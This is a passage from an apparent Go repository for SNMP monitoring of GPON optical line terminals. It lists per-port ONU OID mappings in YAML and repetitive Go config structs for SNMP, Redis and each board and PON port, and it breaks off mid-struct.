267 | onu_id_name : ".500.10.2.3.3.1.2.285278722"
268 | onu_type: ".3.50.11.2.1.17.268567040"
269 | onu_serial_number : ".500.10.2.3.3.1.18.285278722"
270 | onu_rx_power: ".500.20.2.2.2.1.10.285278722"
271 | onu_tx_power: ".3.50.12.1.1.14.268567040"
272 | onu_status_id : ".500.10.2.3.8.1.4.285278722"
273 | onu_ip_address : ".3.50.16.1.1.10.268567040"
274 | onu_description : ".500.10.2.3.3.1.3.285278722"
275 | onu_last_online_time: ".500.10.2.3.8.1.5.285278722"
276 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278722"
277 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278722"
278 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278722"
279 |
280 | Board2Pon3:
281 | onu_id_name : ".500.10.2.3.3.1.2.285278723"
282 | onu_type: ".3.50.11.2.1.17.268567296"
283 | onu_serial_number : ".500.10.2.3.3.1.18.285278723"
284 | onu_rx_power: ".500.20.2.2.2.1.10.285278723"
285 | onu_tx_power: ".3.50.12.1.1.14.268567296"
286 | onu_status_id : ".500.10.2.3.8.1.4.285278723"
287 | onu_ip_address : ".3.50.16.1.1.10.268567296"
288 | onu_description : ".500.10.2.3.3.1.3.285278723"
289 | onu_last_online_time: ".500.10.2.3.8.1.5.285278723"
290 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278723"
291 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278723"
292 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278723"
293 |
294 |
295 | Board2Pon4:
296 | onu_id_name : ".500.10.2.3.3.1.2.285278724"
297 | onu_type: ".3.50.11.2.1.17.268567552"
298 | onu_serial_number : ".500.10.2.3.3.1.18.285278724"
299 | onu_rx_power: ".500.20.2.2.2.1.10.285278724"
300 | onu_tx_power: ".3.50.12.1.1.14.268567552"
301 | onu_status_id : ".500.10.2.3.8.1.4.285278724"
302 | onu_ip_address : ".3.50.16.1.1.10.268567552"
303 | onu_description : ".500.10.2.3.3.1.3.285278724"
304 | onu_last_online_time: ".500.10.2.3.8.1.5.285278724"
305 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278724"
306 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278724"
307 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278724"
308 |
309 |
310 | Board2Pon5:
311 | onu_id_name : ".500.10.2.3.3.1.2.285278725"
312 | onu_type: ".3.50.11.2.1.17.268567808"
313 | onu_serial_number : ".500.10.2.3.3.1.18.285278725"
314 | onu_rx_power: ".500.20.2.2.2.1.10.285278725"
315 | onu_tx_power: ".3.50.12.1.1.14.268567808"
316 | onu_status_id : ".500.10.2.3.8.1.4.285278725"
317 | onu_ip_address : ".3.50.16.1.1.10.268567808"
318 | onu_description : ".500.10.2.3.3.1.3.285278725"
319 | onu_last_online_time: ".500.10.2.3.8.1.5.285278725"
320 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278725"
321 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278725"
322 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278725"
323 |
324 | Board2Pon6:
325 | onu_id_name : ".500.10.2.3.3.1.2.285278726"
326 | onu_type: ".3.50.11.2.1.17.268568064"
327 | onu_serial_number : ".500.10.2.3.3.1.18.285278726"
328 | onu_rx_power: ".500.20.2.2.2.1.10.285278726"
329 | onu_tx_power: ".3.50.12.1.1.14.268568064"
330 | onu_status_id : ".500.10.2.3.8.1.4.285278726"
331 | onu_ip_address : ".3.50.16.1.1.10.268568064"
332 | onu_description : ".500.10.2.3.3.1.3.285278726"
333 | onu_last_online_time: ".500.10.2.3.8.1.5.285278726"
334 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278726"
335 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278726"
336 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278726"
337 |
338 | Board2Pon7:
339 | onu_id_name : ".500.10.2.3.3.1.2.285278727"
340 | onu_type: ".3.50.11.2.1.17.268568320"
341 | onu_serial_number : ".500.10.2.3.3.1.18.285278727"
342 | onu_rx_power: ".500.20.2.2.2.1.10.285278727"
343 | onu_tx_power: ".3.50.12.1.1.14.268568320"
344 | onu_status_id : ".500.10.2.3.8.1.4.285278727"
345 | onu_ip_address : ".3.50.16.1.1.10.268568320"
346 | onu_description : ".500.10.2.3.3.1.3.285278727"
347 | onu_last_online_time: ".500.10.2.3.8.1.5.285278727"
348 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278727"
349 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278727"
350 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278727"
351 |
352 |
353 | Board2Pon8:
354 | onu_id_name : ".500.10.2.3.3.1.2.285278728"
355 | onu_type: ".3.50.11.2.1.17.268568576"
356 | onu_serial_number : ".500.10.2.3.3.1.18.285278728"
357 | onu_rx_power: ".500.20.2.2.2.1.10.285278728"
358 | onu_tx_power: ".3.50.12.1.1.14.268568576"
359 | onu_status_id : ".500.10.2.3.8.1.4.285278728"
360 | onu_ip_address : ".3.50.16.1.1.10.268568576"
361 | onu_description : ".500.10.2.3.3.1.3.285278728"
362 | onu_last_online_time: ".500.10.2.3.8.1.5.285278728"
363 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278728"
364 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278728"
365 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278728"
366 |
367 | Board2Pon9:
368 | onu_id_name : ".500.10.2.3.3.1.2.285278729"
369 | onu_type: ".3.50.11.2.1.17.268568832"
370 | onu_serial_number : ".500.10.2.3.3.1.18.285278729"
371 | onu_rx_power: ".500.20.2.2.2.1.10.285278729"
372 | onu_tx_power: ".3.50.12.1.1.14.268568832"
373 | onu_status_id : ".500.10.2.3.8.1.4.285278729"
374 | onu_ip_address : ".3.50.16.1.1.10.268568832"
375 | onu_description : ".500.10.2.3.3.1.3.285278729"
376 | onu_last_online_time: ".500.10.2.3.8.1.5.285278729"
377 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278729"
378 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278729"
379 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278729"
380 |
381 | Board2Pon10:
382 | onu_id_name : ".500.10.2.3.3.1.2.285278730"
383 | onu_type: ".3.50.11.2.1.17.268569088"
384 | onu_serial_number : ".500.10.2.3.3.1.18.285278730"
385 | onu_rx_power: ".500.20.2.2.2.1.10.285278730"
386 | onu_tx_power: ".3.50.12.1.1.14.268569088"
387 | onu_status_id : ".500.10.2.3.8.1.4.285278730"
388 | onu_ip_address : ".3.50.16.1.1.10.268569088"
389 | onu_description : ".500.10.2.3.3.1.3.285278730"
390 | onu_last_online_time: ".500.10.2.3.8.1.5.285278730"
391 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278730"
392 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278730"
393 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278730"
394 |
395 | Board2Pon11:
396 | onu_id_name : ".500.10.2.3.3.1.2.285278731"
397 | onu_type: ".3.50.11.2.1.17.268569344"
398 | onu_serial_number : ".500.10.2.3.3.1.18.285278731"
399 | onu_rx_power: ".500.20.2.2.2.1.10.285278731"
400 | onu_tx_power: ".3.50.12.1.1.14.268569344"
401 | onu_status_id : ".500.10.2.3.8.1.4.285278731"
402 | onu_ip_address : ".3.50.16.1.1.10.268569344"
403 | onu_description : ".500.10.2.3.3.1.3.285278731"
404 | onu_last_online_time: ".500.10.2.3.8.1.5.285278731"
405 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278731"
406 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278731"
407 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278731"
408 |
409 |
410 | Board2Pon12:
411 | onu_id_name : ".500.10.2.3.3.1.2.285278732"
412 | onu_type: ".3.50.11.2.1.17.268569600"
413 | onu_serial_number : ".500.10.2.3.3.1.18.285278732"
414 | onu_rx_power: ".500.20.2.2.2.1.10.285278732"
415 | onu_tx_power: ".3.50.12.1.1.14.268569600"
416 | onu_status_id : ".500.10.2.3.8.1.4.285278732"
417 | onu_ip_address : ".3.50.16.1.1.10.268569600"
418 | onu_description : ".500.10.2.3.3.1.3.285278732"
419 | onu_last_online_time: ".500.10.2.3.8.1.5.285278732"
420 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278732"
421 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278732"
422 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278732"
423 |
424 | Board2Pon13:
425 | onu_id_name : ".500.10.2.3.3.1.2.285278733"
426 | onu_type: ".3.50.11.2.1.17.268569856"
427 | onu_serial_number : ".500.10.2.3.3.1.18.285278733"
428 | onu_rx_power: ".500.20.2.2.2.1.10.285278733"
429 | onu_tx_power: ".3.50.12.1.1.14.268569856"
430 | onu_status_id : ".500.10.2.3.8.1.4.285278733"
431 | onu_ip_address : ".3.50.16.1.1.10.268569856"
432 | onu_description : ".500.10.2.3.3.1.3.285278733"
433 | onu_last_online_time: ".500.10.2.3.8.1.5.285278733"
434 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278733"
435 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278733"
436 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278733"
437 |
438 | Board2Pon14:
439 | onu_id_name : ".500.10.2.3.3.1.2.285278734"
440 | onu_type: ".3.50.11.2.1.17.268570112"
441 | onu_serial_number : ".500.10.2.3.3.1.18.285278734"
442 | onu_rx_power: ".500.20.2.2.2.1.10.285278734"
443 | onu_tx_power: ".3.50.12.1.1.14.268570112"
444 | onu_status_id : ".500.10.2.3.8.1.4.285278734"
445 | onu_ip_address : ".3.50.16.1.1.10.268570112"
446 | onu_description : ".500.10.2.3.3.1.3.285278734"
447 | onu_last_online_time: ".500.10.2.3.8.1.5.285278734"
448 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278734"
449 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278734"
450 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278734"
451 |
452 | Board2Pon15:
453 | onu_id_name : ".500.10.2.3.3.1.2.285278735"
454 | onu_type: ".3.50.11.2.1.17.268570368"
455 | onu_serial_number : ".500.10.2.3.3.1.18.285278735"
456 | onu_rx_power: ".500.20.2.2.2.1.10.285278735"
457 | onu_tx_power: ".3.50.12.1.1.14.268570368"
458 | onu_status_id : ".500.10.2.3.8.1.4.285278735"
459 | onu_ip_address : ".3.50.16.1.1.10.268570368"
460 | onu_description : ".500.10.2.3.3.1.3.285278735"
461 | onu_last_online_time: ".500.10.2.3.8.1.5.285278735"
462 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278735"
463 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278735"
464 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278735"
465 |
466 | Board2Pon16:
467 | onu_id_name : ".500.10.2.3.3.1.2.285278736"
468 | onu_type: ".3.50.11.2.1.17.268570624"
469 | onu_serial_number : ".500.10.2.3.3.1.18.285278736"
470 | onu_rx_power: ".500.20.2.2.2.1.10.285278736"
471 | onu_tx_power: ".3.50.12.1.1.14.268570624"
472 | onu_status_id : ".500.10.2.3.8.1.4.285278736"
473 | onu_ip_address : ".3.50.16.1.1.10.268570624"
474 | onu_description : ".500.10.2.3.3.1.3.285278736"
475 | onu_last_online_time: ".500.10.2.3.8.1.5.285278736"
476 | onu_last_offline_time: ".500.10.2.3.8.1.6.285278736"
477 | onu_last_offline_reason: ".500.10.2.3.8.1.7.285278736"
478 | onu_gpon_optical_distance: ".500.10.2.3.10.1.2.285278736"
479 |
--------------------------------------------------------------------------------
/config/config.go:
--------------------------------------------------------------------------------
1 | package config
2 |
3 | import (
4 | "errors"
5 |
6 | "github.com/spf13/viper"
7 | )
8 |
9 | type Config struct {
10 | SnmpCfg SnmpConfig
11 | RedisCfg RedisConfig
12 | OltCfg OltConfig
13 | Board1Pon1 Board1Pon1
14 | Board1Pon2 Board1Pon2
15 | Board1Pon3 Board1Pon3
16 | Board1Pon4 Board1Pon4
17 | Board1Pon5 Board1Pon5
18 | Board1Pon6 Board1Pon6
19 | Board1Pon7 Board1Pon7
20 | Board1Pon8 Board1Pon8
21 | Board1Pon9 Board1Pon9
22 | Board1Pon10 Board1Pon10
23 | Board1Pon11 Board1Pon11
24 | Board1Pon12 Board1Pon12
25 | Board1Pon13 Board1Pon13
26 | Board1Pon14 Board1Pon14
27 | Board1Pon15 Board1Pon15
28 | Board1Pon16 Board1Pon16
29 | Board2Pon1 Board2Pon1
30 | Board2Pon2 Board2Pon2
31 | Board2Pon3 Board2Pon3
32 | Board2Pon4 Board2Pon4
33 | Board2Pon5 Board2Pon5
34 | Board2Pon6 Board2Pon6
35 | Board2Pon7 Board2Pon7
36 | Board2Pon8 Board2Pon8
37 | Board2Pon9 Board2Pon9
38 | Board2Pon10 Board2Pon10
39 | Board2Pon11 Board2Pon11
40 | Board2Pon12 Board2Pon12
41 | Board2Pon13 Board2Pon13
42 | Board2Pon14 Board2Pon14
43 | Board2Pon15 Board2Pon15
44 | Board2Pon16 Board2Pon16
45 | }
46 |
47 | type SnmpConfig struct {
48 | Ip string `mapstructure:"ip"`
49 | Port uint16 `mapstructure:"port"`
50 | Community string `mapstructure:"community"`
51 | }
52 |
53 | type RedisConfig struct {
54 | Host string `mapstructure:"host"`
55 | Port string `mapstructure:"port"`
56 | Password string `mapstructure:"password"`
57 | DB int `mapstructure:"db"`
58 | DefaultDB int `mapstructure:"default_db"`
59 | MinIdleConnections int `mapstructure:"min_idle_connections"`
60 | PoolSize int `mapstructure:"pool_size"`
61 | PoolTimeout int `mapstructure:"pool_timeout"`
62 | }
63 |
64 | type OltConfig struct {
65 | BaseOID1 string `mapstructure:"base_oid_1"`
66 | BaseOID2 string `mapstructure:"base_oid_2"`
67 | OnuIDNameAllPon string `mapstructure:"onu_id_name"`
68 | OnuTypeAllPon string `mapstructure:"onu_type"`
69 | }
70 |
71 | type Board1Pon1 struct {
72 | OnuIDNameOID string `mapstructure:"onu_id_name"`
73 | OnuTypeOID string `mapstructure:"onu_type"`
74 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
75 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
76 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
77 | OnuStatusOID string `mapstructure:"onu_status_id"`
78 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
79 | OnuDescriptionOID string `mapstructure:"onu_description"`
80 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
81 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
82 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
83 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
84 | }
85 |
86 | type Board1Pon2 struct {
87 | OnuIDNameOID string `mapstructure:"onu_id_name"`
88 | OnuTypeOID string `mapstructure:"onu_type"`
89 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
90 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
91 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
92 | OnuStatusOID string `mapstructure:"onu_status_id"`
93 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
94 | OnuDescriptionOID string `mapstructure:"onu_description"`
95 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
96 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
97 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
98 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
99 | }
100 |
101 | type Board1Pon3 struct {
102 | OnuIDNameOID string `mapstructure:"onu_id_name"`
103 | OnuTypeOID string `mapstructure:"onu_type"`
104 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
105 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
106 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
107 | OnuStatusOID string `mapstructure:"onu_status_id"`
108 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
109 | OnuDescriptionOID string `mapstructure:"onu_description"`
110 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
111 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
112 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
113 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
114 | }
115 |
116 | type Board1Pon4 struct {
117 | OnuIDNameOID string `mapstructure:"onu_id_name"`
118 | OnuTypeOID string `mapstructure:"onu_type"`
119 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
120 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
121 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
122 | OnuStatusOID string `mapstructure:"onu_status_id"`
123 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
124 | OnuDescriptionOID string `mapstructure:"onu_description"`
125 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
126 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
127 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
128 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
129 | }
130 |
131 | type Board1Pon5 struct {
132 | OnuIDNameOID string `mapstructure:"onu_id_name"`
133 | OnuTypeOID string `mapstructure:"onu_type"`
134 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
135 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
136 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
137 | OnuStatusOID string `mapstructure:"onu_status_id"`
138 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
139 | OnuDescriptionOID string `mapstructure:"onu_description"`
140 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
141 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
142 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
143 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
144 | }
145 |
146 | type Board1Pon6 struct {
147 | OnuIDNameOID string `mapstructure:"onu_id_name"`
148 | OnuTypeOID string `mapstructure:"onu_type"`
149 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
150 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
151 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
152 | OnuStatusOID string `mapstructure:"onu_status_id"`
153 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
154 | OnuDescriptionOID string `mapstructure:"onu_description"`
155 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
156 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
157 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
158 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
159 | }
160 |
161 | type Board1Pon7 struct {
162 | OnuIDNameOID string `mapstructure:"onu_id_name"`
163 | OnuTypeOID string `mapstructure:"onu_type"`
164 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
165 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
166 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
167 | OnuStatusOID string `mapstructure:"onu_status_id"`
168 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
169 | OnuDescriptionOID string `mapstructure:"onu_description"`
170 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
171 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
172 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
173 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
174 | }
175 |
176 | type Board1Pon8 struct {
177 | OnuIDNameOID string `mapstructure:"onu_id_name"`
178 | OnuTypeOID string `mapstructure:"onu_type"`
179 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
180 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
181 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
182 | OnuStatusOID string `mapstructure:"onu_status_id"`
183 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
184 | OnuDescriptionOID string `mapstructure:"onu_description"`
185 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
186 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
187 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
188 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
189 | }
190 |
191 | type Board1Pon9 struct {
192 | OnuIDNameOID string `mapstructure:"onu_id_name"`
193 | OnuTypeOID string `mapstructure:"onu_type"`
194 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
195 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
196 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
197 | OnuStatusOID string `mapstructure:"onu_status_id"`
198 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
199 | OnuDescriptionOID string `mapstructure:"onu_description"`
200 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
201 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
202 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
203 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
204 | }
205 |
206 | type Board1Pon10 struct {
207 | OnuIDNameOID string `mapstructure:"onu_id_name"`
208 | OnuTypeOID string `mapstructure:"onu_type"`
209 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
210 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
211 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
212 | OnuStatusOID string `mapstructure:"onu_status_id"`
213 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
214 | OnuDescriptionOID string `mapstructure:"onu_description"`
215 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
216 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
217 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
218 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
219 | }
220 |
221 | type Board1Pon11 struct {
222 | OnuIDNameOID string `mapstructure:"onu_id_name"`
223 | OnuTypeOID string `mapstructure:"onu_type"`
224 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
225 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
226 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
227 | OnuStatusOID string `mapstructure:"onu_status_id"`
228 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
229 | OnuDescriptionOID string `mapstructure:"onu_description"`
230 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
231 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
232 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
233 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
234 | }
235 |
236 | type Board1Pon12 struct {
237 | OnuIDNameOID string `mapstructure:"onu_id_name"`
238 | OnuTypeOID string `mapstructure:"onu_type"`
239 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
240 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
241 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
242 | OnuStatusOID string `mapstructure:"onu_status_id"`
243 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
244 | OnuDescriptionOID string `mapstructure:"onu_description"`
245 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
246 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
247 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
248 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
249 | }
250 |
251 | type Board1Pon13 struct {
252 | OnuIDNameOID string `mapstructure:"onu_id_name"`
253 | OnuTypeOID string `mapstructure:"onu_type"`
254 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
255 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
256 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
257 | OnuStatusOID string `mapstructure:"onu_status_id"`
258 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
259 | OnuDescriptionOID string `mapstructure:"onu_description"`
260 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
261 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
262 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
263 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
264 | }
265 |
266 | type Board1Pon14 struct {
267 | OnuIDNameOID string `mapstructure:"onu_id_name"`
268 | OnuTypeOID string `mapstructure:"onu_type"`
269 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
270 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
271 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
272 | OnuStatusOID string `mapstructure:"onu_status_id"`
273 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
274 | OnuDescriptionOID string `mapstructure:"onu_description"`
275 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
276 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
277 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
278 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
279 | }
280 |
281 | type Board1Pon15 struct {
282 | OnuIDNameOID string `mapstructure:"onu_id_name"`
283 | OnuTypeOID string `mapstructure:"onu_type"`
284 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
285 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
286 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
287 | OnuStatusOID string `mapstructure:"onu_status_id"`
288 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
289 | OnuDescriptionOID string `mapstructure:"onu_description"`
290 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
291 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
292 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
293 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
294 | }
295 |
296 | type Board1Pon16 struct {
297 | OnuIDNameOID string `mapstructure:"onu_id_name"`
298 | OnuTypeOID string `mapstructure:"onu_type"`
299 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
300 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
301 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
302 | OnuStatusOID string `mapstructure:"onu_status_id"`
303 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
304 | OnuDescriptionOID string `mapstructure:"onu_description"`
305 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
306 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
307 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
308 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
309 | }
310 | type Board2Pon1 struct {
311 | OnuIDNameOID string `mapstructure:"onu_id_name"`
312 | OnuTypeOID string `mapstructure:"onu_type"`
313 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
314 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
315 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
316 | OnuStatusOID string `mapstructure:"onu_status_id"`
317 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
318 | OnuDescriptionOID string `mapstructure:"onu_description"`
319 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
320 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
321 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
322 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
323 | }
324 |
325 | type Board2Pon2 struct {
326 | OnuIDNameOID string `mapstructure:"onu_id_name"`
327 | OnuTypeOID string `mapstructure:"onu_type"`
328 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
329 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
330 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
331 | OnuStatusOID string `mapstructure:"onu_status_id"`
332 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
333 | OnuDescriptionOID string `mapstructure:"onu_description"`
334 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
335 | OnuLastOfflineOID string `mapstructure:"onu_last_offline_time"`
336 | OnuLastOfflineReasonOID string `mapstructure:"onu_last_offline_reason"`
337 | OnuGponOpticalDistanceOID string `mapstructure:"onu_gpon_optical_distance"`
338 | }
339 |
340 | type Board2Pon3 struct {
341 | OnuIDNameOID string `mapstructure:"onu_id_name"`
342 | OnuTypeOID string `mapstructure:"onu_type"`
343 | OnuSerialNumberOID string `mapstructure:"onu_serial_number"`
344 | OnuRxPowerOID string `mapstructure:"onu_rx_power"`
345 | OnuTxPowerOID string `mapstructure:"onu_tx_power"`
346 | OnuStatusOID string `mapstructure:"onu_status_id"`
347 | OnuIPAddressOID string `mapstructure:"onu_ip_address"`
348 | OnuDescriptionOID string `mapstructure:"onu_description"`
349 | OnuLastOnlineOID string `mapstructure:"onu_last_online_time"`
